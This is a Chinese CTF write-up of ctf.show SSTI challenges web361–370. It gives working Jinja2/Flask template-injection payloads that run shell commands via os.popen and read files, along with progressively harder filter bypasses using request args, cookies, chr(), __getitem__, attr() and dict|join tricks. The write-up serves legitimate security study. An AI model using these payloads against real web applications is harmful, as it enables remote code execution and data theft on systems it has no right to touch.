当前位置:   article > 正文

ctf show-web入门 SSTI篇部分题解_ssti传参变量的web题

ssti传参变量的web题

SSTI

ssti模板注入基本原理推荐看这篇文章,这个师傅写的很详细,小白也很容易看懂。

web361

这个hackbar挺好用的,有现成模板,当前目录只有一个app.py,我们看一下上级目录
在这里插入图片描述

?name={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
  • 1

在这里插入图片描述

看到了flag,cat ../flag即可

?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
  • 1

web362

这题说开始过滤了,但是不知道过滤了什么,而且用web361的payload就可以直接过。。。

web363

过滤了引号

request.args传参绕过

这里参考了大佬的文章

假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

Payload:
比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag

web364

过滤了引号和args,上题的姿势不能用了,但是可以用chr()函数绕过。

chr()绕过

可以用这个payload判断chr()函数的位置
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

用burp抓包爆破
在这里插入图片描述
可见爆破出来很多,可以任选一个,我选的是80
在这里插入图片描述
这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()

接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面

原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表

'os'替换成chr(111)%2bchr(115)
'cat ../f*'替换成chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)
  • 1
  • 2

再把替换后的payload放在后面,两段拼在一起得到最终姿势

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
  • 1

web365

比上题又多过滤了一个中括号

中括号绕过

可以用__getitem__pop代替,因为pop会破坏数组的结构,所以更推荐用__getitem__

观察上题的payload,一共有四处中括号

第一处的[]直接换成()即可
第二处的[0]换成.__getitem__(0)或者直接删去
第三处的[80]换成.__getitem__(80)
第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))
  • 1
  • 2
  • 3
  • 4

最终payload:

?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}
  • 1

web366

多过滤了一个_,这里参考的羽师傅的SSTI模板注入绕过(进阶篇),不得不说,师傅们姿势是真的多。

attr获取变量

""|attr("__class__")
相当于
"".__class__
  • 1
  • 2
  • 3

request.cookies传参

用法和request.args基本相同

这两个配合使用,payload:

?name={{(abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}
  • 1
Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
  • 1

在这里插入图片描述

web367

姿势同web66

web368

测试发现{{被过滤,使用{%%}绕过,再借助print()回显

payload:

?name={% print((abc|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e))%}

Cookie:a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()
  • 1
  • 2
  • 3

web369(过滤request)

request被禁用,前面的姿势肯定是用不了了。

这里直接用羽师傅的payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

这里的原理是,给不同的变量赋值,然后拼接成我们想要的命令,原理参考羽师傅的SSTI模板注入绕过(进阶篇)

下面逐行分析

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}

等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

web370

简单测试可知,这题又把数字也过滤了,那就想办法构造出数字。

还是参考羽师傅的:

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

分析如下

几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}
同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

参考文章:
flask之ssti模版注入从零到入门
SSTI模板注入绕过(进阶篇)
Python模板注入(SSTI)深入学习

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Guff_9hys/article/detail/930975
推荐阅读
  

闽ICP备14008679号